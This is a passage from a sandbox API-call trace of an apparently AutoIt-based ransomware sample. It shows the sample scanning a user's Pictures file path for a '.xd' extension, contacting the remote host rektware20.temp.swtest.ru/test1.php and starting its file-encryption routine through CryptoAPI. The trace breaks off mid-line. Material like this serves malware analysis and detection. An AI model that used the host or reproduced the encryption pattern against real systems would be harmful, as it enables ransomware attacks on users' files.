lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="na4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ttn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XYzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YzFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zFXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FXjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Xjvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.548] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jvq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vq6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="u\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="K y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0061.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fh1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="h1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uyK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yK3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="K3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0061.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.549] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.549] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0061.549] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.549] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0061.549] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0061.549] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.549] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0061.549] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0061.550] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d48, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d48, lpdwBufferLength=0x130ee1c) returned 1 [0061.550] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.550] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.550] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.550] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0061.550] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0061.550] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0061.550] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0061.550] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629520, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629520*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0061.550] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.551] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.551] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.551] CloseHandle (hObject=0x0) returned 0 [0061.551] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.551] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0061.551] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0061.551] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.551] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.551] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.551] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.551] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.551] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.551] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0061.552] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.552] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.552] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0061.552] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.552] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.552] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.552] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.552] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.552] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0061.552] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0061.553] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0061.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0061.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0061.553] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0061.553] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17a9f88) returned 1 [0061.554] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.554] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.554] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0061.555] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.555] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.555] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.555] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.555] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.555] 